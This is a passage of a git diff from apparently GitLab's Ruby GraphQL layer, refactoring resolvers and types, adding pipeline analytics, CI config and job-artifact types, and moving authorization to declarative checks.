@@ -24,7 +24,7 @@ module Resolvers
if non_stable_cursor_sort?(args[:sort])
# Certain complex sorts are not supported by the stable cursor pagination yet.
# In these cases, we use offset pagination, so we return the correct connection.
- Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection.new(issues)
+ offset_pagination(issues)
else
issues
end
diff --git a/app/graphql/resolvers/members_resolver.rb b/app/graphql/resolvers/members_resolver.rb
index 523642e912f..cf51fd298bd 100644
--- a/app/graphql/resolvers/members_resolver.rb
+++ b/app/graphql/resolvers/members_resolver.rb
@@ -14,7 +14,9 @@ module Resolvers
def resolve_with_lookahead(**args)
authorize!(object)
- apply_lookahead(finder_class.new(object, current_user, params: args).execute)
+ relations = args.delete(:relations)
+
+ apply_lookahead(finder_class.new(object, current_user, params: args).execute(include_relations: relations))
end
private
diff --git a/app/graphql/resolvers/merge_request_pipelines_resolver.rb b/app/graphql/resolvers/merge_request_pipelines_resolver.rb
index 6590dfdc78c..f84eedb4c3b 100644
--- a/app/graphql/resolvers/merge_request_pipelines_resolver.rb
+++ b/app/graphql/resolvers/merge_request_pipelines_resolver.rb
@@ -5,14 +5,32 @@ module Resolvers
class MergeRequestPipelinesResolver < BaseResolver
# The GraphQL type here gets defined in this include
include ::ResolvesPipelines
+ include ::CachingArrayResolver
alias_method :merge_request, :object
+ # Return at most 500 pipelines for each MR.
+ # Merge requests generally have many fewer pipelines than this.
+ def self.field_options
+ super.merge(max_page_size: 500)
+ end
+
def resolve(**args)
return unless project
- resolve_pipelines(project, args)
- .merge(merge_request.all_pipelines)
+ super
+ end
+
+ def query_for(args)
+ resolve_pipelines(project, args).merge(merge_request.all_pipelines)
+ end
+
+ def model_class
+ ::Ci::Pipeline
+ end
+
+ def query_input(**args)
+ args
end
def project
diff --git a/app/graphql/resolvers/merge_requests_resolver.rb b/app/graphql/resolvers/merge_requests_resolver.rb
index cb4a76243ae..98c95565778 100644
--- a/app/graphql/resolvers/merge_requests_resolver.rb
+++ b/app/graphql/resolvers/merge_requests_resolver.rb
@@ -4,6 +4,8 @@ module Resolvers
class MergeRequestsResolver < BaseResolver
include ResolvesMergeRequests
+ type ::Types::MergeRequestType.connection_type, null: true
+
alias_method :project, :synchronized_object
def self.accept_assignee
@@ -18,6 +20,12 @@ module Resolvers
description: 'Username of the author'
end
+ def self.accept_reviewer
+ argument :reviewer_username, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Username of the reviewer'
+ end
+
argument :iids, [GraphQL::STRING_TYPE],
required: false,
description: 'Array of IIDs of merge requests, for example `[1, 2]`'
@@ -52,7 +60,7 @@ module Resolvers
argument :sort, Types::MergeRequestSortEnum,
description: 'Sort merge requests by this criteria',
required: false,
- default_value: 'created_desc'
+ default_value: :created_desc
def self.single
::Resolvers::MergeRequestResolver
diff --git a/app/graphql/resolvers/project_members_resolver.rb b/app/graphql/resolvers/project_members_resolver.rb
index e64e8b845a5..659b12c2563 100644
--- a/app/graphql/resolvers/project_members_resolver.rb
+++ b/app/graphql/resolvers/project_members_resolver.rb
@@ -5,6 +5,11 @@ module Resolvers
class ProjectMembersResolver < MembersResolver
authorize :read_project_member
+ argument :relations, [Types::ProjectMemberRelationEnum],
+ description: 'Filter members by the given member relations',
+ required: false,
+ default_value: MembersFinder::DEFAULT_RELATIONS
+
private
def finder_class
diff --git a/app/graphql/resolvers/project_merge_requests_resolver.rb b/app/graphql/resolvers/project_merge_requests_resolver.rb
index bf082c0b182..830649d5e52 100644
--- a/app/graphql/resolvers/project_merge_requests_resolver.rb
+++ b/app/graphql/resolvers/project_merge_requests_resolver.rb
@@ -5,5 +5,6 @@ module Resolvers
type ::Types::MergeRequestType.connection_type, null: true
accept_assignee
accept_author
+ accept_reviewer
end
end
diff --git a/app/graphql/resolvers/project_pipeline_resolver.rb b/app/graphql/resolvers/project_pipeline_resolver.rb
index 4cf47dbdc60..8bf4e0b08ef 100644
--- a/app/graphql/resolvers/project_pipeline_resolver.rb
+++ b/app/graphql/resolvers/project_pipeline_resolver.rb
@@ -12,7 +12,9 @@ module Resolvers
def resolve(iid:)
BatchLoader::GraphQL.for(iid).batch(key: project) do |iids, loader, args|
- args[:key].all_pipelines.for_iid(iids).each { |pl| loader.call(pl.iid.to_s, pl) }
+ finder = ::Ci::PipelinesFinder.new(project, context[:current_user], iids: iids)
+
+ finder.execute.each { |pipeline| loader.call(pipeline.iid.to_s, pipeline) }
end
end
end
diff --git a/app/graphql/resolvers/project_pipeline_statistics_resolver.rb b/app/graphql/resolvers/project_pipeline_statistics_resolver.rb
new file mode 100644
index 00000000000..29ab9402f5b
--- /dev/null
+++ b/app/graphql/resolvers/project_pipeline_statistics_resolver.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class ProjectPipelineStatisticsResolver < BaseResolver
+ type Types::Ci::AnalyticsType, null: true
+
+ def resolve
+ weekly_stats = Gitlab::Ci::Charts::WeekChart.new(object)
+ monthly_stats = Gitlab::Ci::Charts::MonthChart.new(object)
+ yearly_stats = Gitlab::Ci::Charts::YearChart.new(object)
+ pipeline_times = Gitlab::Ci::Charts::PipelineTime.new(object)
+
+ {
+ week_pipelines_labels: weekly_stats.labels,
+ week_pipelines_totals: weekly_stats.total,
+ week_pipelines_successful: weekly_stats.success,
+ month_pipelines_labels: monthly_stats.labels,
+ month_pipelines_totals: monthly_stats.total,
+ month_pipelines_successful: monthly_stats.success,
+ year_pipelines_labels: yearly_stats.labels,
+ year_pipelines_totals: yearly_stats.total,
+ year_pipelines_successful: yearly_stats.success,
+ pipeline_times_labels: pipeline_times.labels,
+ pipeline_times_values: pipeline_times.pipeline_times
+ }
+ end
+ end
+end
diff --git a/app/graphql/resolvers/projects/jira_imports_resolver.rb b/app/graphql/resolvers/projects/jira_imports_resolver.rb
deleted file mode 100644
index efd45c2c465..00000000000
--- a/app/graphql/resolvers/projects/jira_imports_resolver.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-module Resolvers
- module Projects
- class JiraImportsResolver < BaseResolver
- type Types::JiraImportType.connection_type, null: true
-
- include Gitlab::Graphql::Authorize::AuthorizeResource
-
- alias_method :project, :object
-
- def resolve(**args)
- authorize!(project)
-
- project.jira_imports
- end
-
- def authorized_resource?(project)
- context[:current_user].present? && Ability.allowed?(context[:current_user], :read_project, project)
- end
- end
- end
-end
diff --git a/app/graphql/resolvers/projects/services_resolver.rb b/app/graphql/resolvers/projects/services_resolver.rb
index 17d81e21c28..4f5a6cddbb3 100644
--- a/app/graphql/resolvers/projects/services_resolver.rb
+++ b/app/graphql/resolvers/projects/services_resolver.rb
@@ -3,9 +3,11 @@
module Resolvers
module Projects
class ServicesResolver < BaseResolver
+ prepend ManualAuthorization
include Gitlab::Graphql::Authorize::AuthorizeResource
type Types::Projects::ServiceType.connection_type, null: true
+ authorize :admin_project
argument :active,
GraphQL::BOOLEAN_TYPE,
@@ -24,10 +26,6 @@ module Resolvers
services(args[:active], args[:type])
end
- def authorized_resource?(project)
- Ability.allowed?(context[:current_user], :admin_project, project)
- end
-
private
def services(active, type)
diff --git a/app/graphql/resolvers/review_requested_merge_requests_resolver.rb b/app/graphql/resolvers/review_requested_merge_requests_resolver.rb
new file mode 100644
index 00000000000..e0ab7b5b600
--- /dev/null
+++ b/app/graphql/resolvers/review_requested_merge_requests_resolver.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class ReviewRequestedMergeRequestsResolver < UserMergeRequestsResolverBase
+ type ::Types::MergeRequestType.connection_type, null: true
+ accept_author
+ accept_assignee
+
+ def user_role
+ :reviewer
+ end
+ end
+end
diff --git a/app/graphql/resolvers/snippets/blobs_resolver.rb b/app/graphql/resolvers/snippets/blobs_resolver.rb
index 3a0dcb50faf..cfb1711aed4 100644
--- a/app/graphql/resolvers/snippets/blobs_resolver.rb
+++ b/app/graphql/resolvers/snippets/blobs_resolver.rb
@@ -3,9 +3,11 @@
module Resolvers
module Snippets
class BlobsResolver < BaseResolver
+ prepend ManualAuthorization
include Gitlab::Graphql::Authorize::AuthorizeResource
type Types::Snippets::BlobType.connection_type, null: true
+ authorize :read_snippet
alias_method :snippet, :object
@@ -27,10 +29,6 @@ module Resolvers
end
end
- def authorized_resource?(snippet)
- Ability.allowed?(context[:current_user], :read_snippet, snippet)
- end
-
private
def transformed_blob_paths(paths)
diff --git a/app/graphql/resolvers/user_discussions_count_resolver.rb b/app/graphql/resolvers/user_discussions_count_resolver.rb
new file mode 100644
index 00000000000..115997ec666
--- /dev/null
+++ b/app/graphql/resolvers/user_discussions_count_resolver.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class UserDiscussionsCountResolver < BaseResolver
+ include Gitlab::Graphql::Authorize::AuthorizeResource
+
+ type GraphQL::INT_TYPE, null: true
+
+ def resolve
+ authorize!(object)
+
+ BatchLoader::GraphQL.for(object.id).batch do |ids, loader, args|
+ counts = Note.count_for_collection(ids, object.class.name, 'COUNT(DISTINCT discussion_id) as count').index_by(&:noteable_id)
+
+ ids.each do |id|
+ loader.call(id, counts[id]&.count || 0)
+ end
+ end
+ end
+
+ def authorized_resource?(object)
+ ability = "read_#{object.class.name.underscore}".to_sym
+ context[:current_user].present? && Ability.allowed?(context[:current_user], ability, object)
+ end
+ end
+end
diff --git a/app/graphql/resolvers/user_notes_count_resolver.rb b/app/graphql/resolvers/user_notes_count_resolver.rb
new file mode 100644
index 00000000000..2cb61104c18
--- /dev/null
+++ b/app/graphql/resolvers/user_notes_count_resolver.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class UserNotesCountResolver < BaseResolver
+ include Gitlab::Graphql::Authorize::AuthorizeResource
+
+ type GraphQL::INT_TYPE, null: true
+
+ def resolve
+ authorize!(object)
+
+ BatchLoader::GraphQL.for(object.id).batch(key: :user_notes_count) do |ids, loader, args|
+ counts = Note.count_for_collection(ids, object.class.name).index_by(&:noteable_id)
+
+ ids.each do |id|
+ loader.call(id, counts[id]&.count || 0)
+ end
+ end
+ end
+
+ def authorized_resource?(object)
+ ability = "read_#{object.class.name.underscore}".to_sym
+ context[:current_user].present? && Ability.allowed?(context[:current_user], ability, object)
+ end
+ end
+end
diff --git a/app/graphql/resolvers/users/group_count_resolver.rb b/app/graphql/resolvers/users/group_count_resolver.rb
index 5033c26554a..ebfe594d31d 100644
--- a/app/graphql/resolvers/users/group_count_resolver.rb
+++ b/app/graphql/resolvers/users/group_count_resolver.rb
@@ -3,6 +3,8 @@
module Resolvers
module Users
class GroupCountResolver < BaseResolver
+ type GraphQL::INT_TYPE, null: true
+
alias_method :user, :object
def resolve(**args)
diff --git a/app/graphql/resolvers/users_resolver.rb b/app/graphql/resolvers/users_resolver.rb
index f5838642141..a0ed076595d 100644
--- a/app/graphql/resolvers/users_resolver.rb
+++ b/app/graphql/resolvers/users_resolver.rb
@@ -17,7 +17,7 @@ module Resolvers
argument :sort, Types::SortEnum,
description: 'Sort users by this criteria',
required: false,
- default_value: 'created_desc'
+ default_value: :created_desc
argument :search, GraphQL::STRING_TYPE,
required: false,
diff --git a/app/graphql/types/alert_management/domain_filter_enum.rb b/app/graphql/types/alert_management/domain_filter_enum.rb
new file mode 100644
index 00000000000..58dbc8bb2cf
--- /dev/null
+++ b/app/graphql/types/alert_management/domain_filter_enum.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Types
+ module AlertManagement
+ class DomainFilterEnum < BaseEnum
+ graphql_name 'AlertManagementDomainFilter'
+ description 'Filters the alerts based on given domain'
+
+ value 'operations', description: 'Alerts for operations domain '
+ value 'threat_monitoring', description: 'Alerts for threat monitoring domain'
+ end
+ end
+end
diff --git a/app/graphql/types/alert_management/prometheus_integration_type.rb b/app/graphql/types/alert_management/prometheus_integration_type.rb
index f605e325b8b..79f265f2f1e 100644
--- a/app/graphql/types/alert_management/prometheus_integration_type.rb
+++ b/app/graphql/types/alert_management/prometheus_integration_type.rb
@@ -2,7 +2,7 @@
module Types
module AlertManagement
- class PrometheusIntegrationType < BaseObject
+ class PrometheusIntegrationType < ::Types::BaseObject
include ::Gitlab::Routing
graphql_name 'AlertManagementPrometheusIntegration'
diff --git a/app/graphql/types/award_emojis/award_emoji_type.rb b/app/graphql/types/award_emojis/award_emoji_type.rb
index fe7affa50cc..cd7a2f34ba6 100644
--- a/app/graphql/types/award_emojis/award_emoji_type.rb
+++ b/app/graphql/types/award_emojis/award_emoji_type.rb
@@ -38,10 +38,11 @@ module Types
field :user,
Types::UserType,
null: false,
- description: 'The user who awarded the emoji',
- resolve: -> (award_emoji, _args, _context) {
- Gitlab::Graphql::Loaders::BatchModelLoader.new(User, award_emoji.user_id).find
- }
+ description: 'The user who awarded the emoji'
+
+ def user
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.user_id).find
+ end
end
end
end
diff --git a/app/graphql/types/base_field.rb b/app/graphql/types/base_field.rb
index 5c8aabfe163..c4ce2cecd8b 100644
--- a/app/graphql/types/base_field.rb
+++ b/app/graphql/types/base_field.rb
@@ -12,6 +12,7 @@ module Types
def initialize(*args, **kwargs, &block)
@calls_gitaly = !!kwargs.delete(:calls_gitaly)
@constant_complexity = !!kwargs[:complexity]
+ @requires_argument = !!kwargs.delete(:requires_argument)
kwargs[:complexity] = field_complexity(kwargs[:resolver_class], kwargs[:complexity])
@feature_flag = kwargs[:feature_flag]
kwargs = check_feature_flag(kwargs)
@@ -20,6 +21,10 @@ module Types
super(*args, **kwargs, &block)
end
+ def requires_argument?
+ @requires_argument || arguments.values.any? { |argument| argument.type.non_null? }
+ end
+
# Based on https://github.com/rmosolgo/graphql-ruby/blob/v1.11.4/lib/graphql/schema/field.rb#L538-L563
# Modified to fix https://github.com/rmosolgo/graphql-ruby/issues/3113
def resolve_field(obj, args, ctx)
@@ -73,7 +78,7 @@ module Types
attr_reader :feature_flag
def feature_documentation_message(key, description)
- "#{description}. Available only when feature flag `#{key}` is enabled"
+ "#{description} Available only when feature flag `#{key}` is enabled."
end
def check_feature_flag(args)
diff --git a/app/graphql/types/base_interface.rb b/app/graphql/types/base_interface.rb
index 3451a195c33..4b1f3193136 100644
--- a/app/graphql/types/base_interface.rb
+++ b/app/graphql/types/base_interface.rb
@@ -3,5 +3,7 @@
module Types
module BaseInterface
include GraphQL::Schema::Interface
+
+ field_class ::Types::BaseField
end
end
diff --git a/app/graphql/types/board_list_type.rb b/app/graphql/types/board_list_type.rb
index 6ee76b0d1f1..7999e77eb30 100644
--- a/app/graphql/types/board_list_type.rb
+++ b/app/graphql/types/board_list_type.rb
@@ -19,8 +19,7 @@ module Types
field :label, Types::LabelType, null: true,
description: 'Label of the list'
field :collapsed, GraphQL::BOOLEAN_TYPE, null: true,
- description: 'Indicates if list is collapsed for this user',
- resolve: -> (list, _args, ctx) { list.collapsed?(ctx[:current_user]) }
+ description: 'Indicates if list is collapsed for this user'
field :issues_count, GraphQL::INT_TYPE, null: true,
description: 'Count of issues in the list'
@@ -32,6 +31,10 @@ module Types
metadata[:size]
end
+ def collapsed
+ object.collapsed?(context[:current_user])
+ end
+
def metadata
strong_memoize(:metadata) do
list = self.object
diff --git a/app/graphql/types/board_type.rb b/app/graphql/types/board_type.rb
index 2a7b318e283..f47c744d1bb 100644
--- a/app/graphql/types/board_type.rb
+++ b/app/graphql/types/board_type.rb
@@ -12,6 +12,12 @@ module Types
field :name, type: GraphQL::STRING_TYPE, null: true,
description: 'Name of the board'
+ field :hide_backlog_list, type: GraphQL::BOOLEAN_TYPE, null: true,
+ description: 'Whether or not backlog list is hidden'
+
+ field :hide_closed_list, type: GraphQL::BOOLEAN_TYPE, null: true,
+ description: 'Whether or not closed list is hidden'
+
field :lists,
Types::BoardListType.connection_type,
null: true,
diff --git a/app/graphql/types/ci/analytics_type.rb b/app/graphql/types/ci/analytics_type.rb
new file mode 100644
index 00000000000..c8b12c6a9b8
--- /dev/null
+++ b/app/graphql/types/ci/analytics_type.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ class AnalyticsType < BaseObject
+ graphql_name 'PipelineAnalytics'
+
+ field :week_pipelines_totals, [GraphQL::INT_TYPE], null: true,
+ description: 'Total weekly pipeline count'
+ field :week_pipelines_successful, [GraphQL::INT_TYPE], null: true,
+ description: 'Total weekly successful pipeline count'
+ field :week_pipelines_labels, [GraphQL::STRING_TYPE], null: true,
+ description: 'Labels for the weekly pipeline count'
+ field :month_pipelines_totals, [GraphQL::INT_TYPE], null: true,
+ description: 'Total monthly pipeline count'
+ field :month_pipelines_successful, [GraphQL::INT_TYPE], null: true,
+ description: 'Total monthly successful pipeline count'
+ field :month_pipelines_labels, [GraphQL::STRING_TYPE], null: true,
+ description: 'Labels for the monthly pipeline count'
+ field :year_pipelines_totals, [GraphQL::INT_TYPE], null: true,
+ description: 'Total yearly pipeline count'
+ field :year_pipelines_successful, [GraphQL::INT_TYPE], null: true,
+ description: 'Total yearly successful pipeline count'
+ field :year_pipelines_labels, [GraphQL::STRING_TYPE], null: true,
+ description: 'Labels for the yearly pipeline count'
+ field :pipeline_times_values, [GraphQL::INT_TYPE], null: true,
+ description: 'Pipeline times'
+ field :pipeline_times_labels, [GraphQL::STRING_TYPE], null: true,
+ description: 'Pipeline times labels'
+ end
+ end
+end
diff --git a/app/graphql/types/ci/ci_cd_setting_type.rb b/app/graphql/types/ci/ci_cd_setting_type.rb
new file mode 100644
index 00000000000..207c37f9538
--- /dev/null
+++ b/app/graphql/types/ci/ci_cd_setting_type.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ class CiCdSettingType < BaseObject
+ graphql_name 'ProjectCiCdSetting'
+
+ authorize :admin_project
+
+ field :merge_pipelines_enabled, GraphQL::BOOLEAN_TYPE, null: true,
+ description: 'Whether merge pipelines are enabled.',
+ method: :merge_pipelines_enabled?
+ field :merge_trains_enabled, GraphQL::BOOLEAN_TYPE, null: true,
+ description: 'Whether merge trains are enabled.',
+ method: :merge_trains_enabled?
+ field :project, Types::ProjectType, null: true,
+ description: 'Project the CI/CD settings belong to.'
+ end
+ end
+end
diff --git a/app/graphql/types/ci/config/config_type.rb b/app/graphql/types/ci/config/config_type.rb
new file mode 100644
index 00000000000..e54b345f3d3
--- /dev/null
+++ b/app/graphql/types/ci/config/config_type.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ module Config
+ class ConfigType < BaseObject
+ graphql_name 'CiConfig'
+
+ field :errors, [GraphQL::STRING_TYPE], null: true,
+ description: 'Linting errors'
+ field :merged_yaml, GraphQL::STRING_TYPE, null: true,
+ description: 'Merged CI config YAML'
+ field :stages, [Types::Ci::Config::StageType], null: true,
+ description: 'Stages of the pipeline'
+ field :status, Types::Ci::Config::StatusEnum, null: true,
+ description: 'Status of linting, can be either valid or invalid'
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/config/group_type.rb b/app/graphql/types/ci/config/group_type.rb
new file mode 100644
index 00000000000..8b0db2934a4
--- /dev/null
+++ b/app/graphql/types/ci/config/group_type.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ module Config
+ class GroupType < BaseObject
+ graphql_name 'CiConfigGroup'
+
+ field :name, GraphQL::STRING_TYPE, null: true,
+ description: 'Name of the job group'
+ field :jobs, [Types::Ci::Config::JobType], null: true,
+ description: 'Jobs in group'
+ field :size, GraphQL::INT_TYPE, null: true,
+ description: 'Size of the job group'
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/config/job_type.rb b/app/graphql/types/ci/config/job_type.rb
new file mode 100644
index 00000000000..59bcbd9ef49
--- /dev/null
+++ b/app/graphql/types/ci/config/job_type.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ module Config
+ class JobType < BaseObject
+ graphql_name 'CiConfigJob'
+
+ field :name, GraphQL::STRING_TYPE, null: true,
+ description: 'Name of the job'
+ field :group_name, GraphQL::STRING_TYPE, null: true,
+ description: 'Name of the job group'
+ field :stage, GraphQL::STRING_TYPE, null: true,
+ description: 'Name of the job stage'
+ field :needs, [Types::Ci::Config::NeedType], null: true,
+ description: 'Builds that must complete before the jobs run'
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/config/need_type.rb b/app/graphql/types/ci/config/need_type.rb
new file mode 100644
index 00000000000..a442450b9ae
--- /dev/null
+++ b/app/graphql/types/ci/config/need_type.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ module Config
+ class NeedType < BaseObject
+ graphql_name 'CiConfigNeed'
+
+ field :name, GraphQL::STRING_TYPE, null: true,
+ description: 'Name of the need'
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/config/stage_type.rb b/app/graphql/types/ci/config/stage_type.rb
new file mode 100644
index 00000000000..20618bc41f8
--- /dev/null
+++ b/app/graphql/types/ci/config/stage_type.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ module Config
+ class StageType < BaseObject
+ graphql_name 'CiConfigStage'
+
+ field :name, GraphQL::STRING_TYPE, null: true,
+ description: 'Name of the stage'
+ field :groups, [Types::Ci::Config::GroupType], null: true,
+ description: 'Groups of jobs for the stage'
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/config/status_enum.rb b/app/graphql/types/ci/config/status_enum.rb
new file mode 100644
index 00000000000..92b04c61679
--- /dev/null
+++ b/app/graphql/types/ci/config/status_enum.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ module Config
+ class StatusEnum < BaseEnum
+ graphql_name 'CiConfigStatus'
+ description 'Values for YAML processor result'
+
+ value 'VALID', 'The configuration file is valid', value: :valid
+ value 'INVALID', 'The configuration file is not valid', value: :invalid
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/detailed_status_type.rb b/app/graphql/types/ci/detailed_status_type.rb
index 6d8af400ac4..80d73e9b174 100644
--- a/app/graphql/types/ci/detailed_status_type.rb
+++ b/app/graphql/types/ci/detailed_status_type.rb
@@ -25,20 +25,22 @@ module Types
description: 'Tooltip associated with the status',
method: :status_tooltip
field :action, Types::Ci::StatusActionType, null: true,
- description: 'Action information for the status. This includes method, button title, icon, path, and title',
- resolve: -> (obj, _args, _ctx) {
- if obj.has_action?
- {
- button_title: obj.action_button_title,
- icon: obj.action_icon,
- method: obj.action_method,
- path: obj.action_path,
- title: obj.action_title
- }
- else
- nil
- end
- }
+ calls_gitaly: true,
+ description: 'Action information for the status. This includes method, button title, icon, path, and title'
+
+ def action
+ if object.has_action?
+ {
+ button_title: object.action_button_title,
+ icon: object.action_icon,
+ method: object.action_method,
+ path: object.action_path,
+ title: object.action_title
+ }
+ else
+ nil
+ end
+ end
end
# rubocop: enable Graphql/AuthorizeTypes
end
diff --git a/app/graphql/types/ci/group_type.rb b/app/graphql/types/ci/group_type.rb
index d930ae311b7..03fd50d5dbb 100644
--- a/app/graphql/types/ci/group_type.rb
+++ b/app/graphql/types/ci/group_type.rb
@@ -13,8 +13,11 @@ module Types
field :jobs, Ci::JobType.connection_type, null: true,
description: 'Jobs in group'
field :detailed_status, Types::Ci::DetailedStatusType, null: true,
- description: 'Detailed status of the group',
- resolve: -> (obj, _args, ctx) { obj.detailed_status(ctx[:current_user]) }
+ description: 'Detailed status of the group'
+
+ def detailed_status
+ object.detailed_status(context[:current_user])
+ end
end
end
end
diff --git a/app/graphql/types/ci/job_artifact_file_type_enum.rb b/app/graphql/types/ci/job_artifact_file_type_enum.rb
new file mode 100644
index 00000000000..4b484dec590
--- /dev/null
+++ b/app/graphql/types/ci/job_artifact_file_type_enum.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ class JobArtifactFileTypeEnum < BaseEnum
+ graphql_name 'JobArtifactFileType'
+
+ ::Ci::JobArtifact::TYPE_AND_FORMAT_PAIRS.keys.each do |file_type|
+ value file_type.to_s.upcase, value: file_type.to_s
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/job_artifact_type.rb b/app/graphql/types/ci/job_artifact_type.rb
new file mode 100644
index 00000000000..c34a12dcc61
--- /dev/null
+++ b/app/graphql/types/ci/job_artifact_type.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ class JobArtifactType < BaseObject
+ graphql_name 'CiJobArtifact'
+
+ field :download_path, GraphQL::STRING_TYPE, null: true,
+ description: "URL for downloading the artifact's file"
+
+ field :file_type, ::Types::Ci::JobArtifactFileTypeEnum, null: true,
+ description: 'File type of the artifact'
+
+ def download_path
+ ::Gitlab::Routing.url_helpers.download_project_job_artifacts_path(
+ object.project,
+ object.job,
+ file_type: object.file_type
+ )
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/job_type.rb b/app/graphql/types/ci/job_type.rb
index feaff4e81d8..5b6e8fe8567 100644
--- a/app/graphql/types/ci/job_type.rb
+++ b/app/graphql/types/ci/job_type.rb
@@ -6,18 +6,32 @@ module Types
class JobType < BaseObject
graphql_name 'CiJob'
- field :pipeline, Types::Ci::PipelineType, null: false,
- description: 'Pipeline the job belongs to',
- resolve: -> (build, _, _) { Gitlab::Graphql::Loaders::BatchModelLoader.new(::Ci::Pipeline, build.pipeline_id).find }
+ field :pipeline, Types::Ci::PipelineType, null: true,
+ description: 'Pipeline the job belongs to'
field :name, GraphQL::STRING_TYPE, null: true,
- description: 'Name of the job'
+ description: 'Name of the job'
field :needs, JobType.connection_type, null: true,
- description: 'Builds that must complete before the jobs run'
+ description: 'Builds that must complete before the jobs run'
field :detailed_status, Types::Ci::DetailedStatusType, null: true,
- description: 'Detailed status of the job',
- resolve: -> (obj, _args, ctx) { obj.detailed_status(ctx[:current_user]) }
+ description: 'Detailed status of the job'
field :scheduled_at, Types::TimeType, null: true,
- description: 'Schedule for the build'
+ description: 'Schedule for the build'
+ field :artifacts, Types::Ci::JobArtifactType.connection_type, null: true,
+ description: 'Artifacts generated by the job'
+
+ def pipeline
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(::Ci::Pipeline, object.pipeline_id).find
+ end
+
+ def detailed_status
+ object.detailed_status(context[:current_user])
+ end
+
+ def artifacts
+ if object.is_a?(::Ci::Build)
+ object.job_artifacts
+ end
+ end
end
end
end
diff --git a/app/graphql/types/ci/pipeline_type.rb b/app/graphql/types/ci/pipeline_type.rb
index c25db39f600..4709d5e8dd6 100644
--- a/app/graphql/types/ci/pipeline_type.rb
+++ b/app/graphql/types/ci/pipeline_type.rb
@@ -27,8 +27,7 @@ module Types
description: "Status of the pipeline (#{::Ci::Pipeline.all_state_names.compact.join(', ').upcase})"
field :detailed_status, Types::Ci::DetailedStatusType, null: false,
- description: 'Detailed status of the pipeline',
- resolve: -> (obj, _args, ctx) { obj.detailed_status(ctx[:current_user]) }
+ description: 'Detailed status of the pipeline'
field :config_source, PipelineConfigSourceEnum, null: true,
description: "Config source of the pipeline (#{::Enums::Ci::Pipeline.config_sources.keys.join(', ').upcase})"
@@ -60,8 +59,7 @@ module Types
resolver: Resolvers::Ci::PipelineStagesResolver
field :user, Types::UserType, null: true,
- description: 'Pipeline user',
- resolve: -> (pipeline, _args, _context) { Gitlab::Graphql::Loaders::BatchModelLoader.new(User, pipeline.user_id).find }
+ description: 'Pipeline user'
field :retryable, GraphQL::BOOLEAN_TYPE,
description: 'Specifies if a pipeline can be retried',
@@ -91,11 +89,25 @@ module Types
method: :triggered_by_pipeline
field :path, GraphQL::STRING_TYPE, null: true,
- description: "Relative path to the pipeline's page",
- resolve: -> (obj, _args, _ctx) { ::Gitlab::Routing.url_helpers.project_pipeline_path(obj.project, obj) }
+ description: "Relative path to the pipeline's page"
field :project, Types::ProjectType, null: true,
description: 'Project the pipeline belongs to'
+
+ field :active, GraphQL::BOOLEAN_TYPE, null: false, method: :active?,
+ description: 'Indicates if the pipeline is active'
+
+ def detailed_status
+ object.detailed_status(context[:current_user])
+ end
+
+ def user
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.user_id).find
+ end
+
+ def path
+ ::Gitlab::Routing.url_helpers.project_pipeline_path(object.project, object)
+ end
end
end
end
diff --git a/app/graphql/types/ci/stage_type.rb b/app/graphql/types/ci/stage_type.rb
index fc2c72d0d06..fd0bde90836 100644
--- a/app/graphql/types/ci/stage_type.rb
+++ b/app/graphql/types/ci/stage_type.rb
@@ -11,8 +11,11 @@ module Types
field :groups, Ci::GroupType.connection_type, null: true,
description: 'Group of jobs for the stage'
field :detailed_status, Types::Ci::DetailedStatusType, null: true,
- description: 'Detailed status of the stage',
- resolve: -> (obj, _args, ctx) { obj.detailed_status(ctx[:current_user]) }
+ description: 'Detailed status of the stage'
+
+ def detailed_status
+ object.detailed_status(context[:current_user])
+ end
end
end
end
diff --git a/app/graphql/types/commit_type.rb b/app/graphql/types/commit_type.rb
index c24b47f08ef..37d19b4148b 100644
--- a/app/graphql/types/commit_type.rb
+++ b/app/graphql/types/commit_type.rb
@@ -12,6 +12,8 @@ module Types
description: 'ID (global ID) of the commit'
field :sha, type: GraphQL::STRING_TYPE, null: false,
description: 'SHA1 ID of the commit'
+ field :short_id, type: GraphQL::STRING_TYPE, null: false,
+ description: 'Short SHA1 ID of the commit'
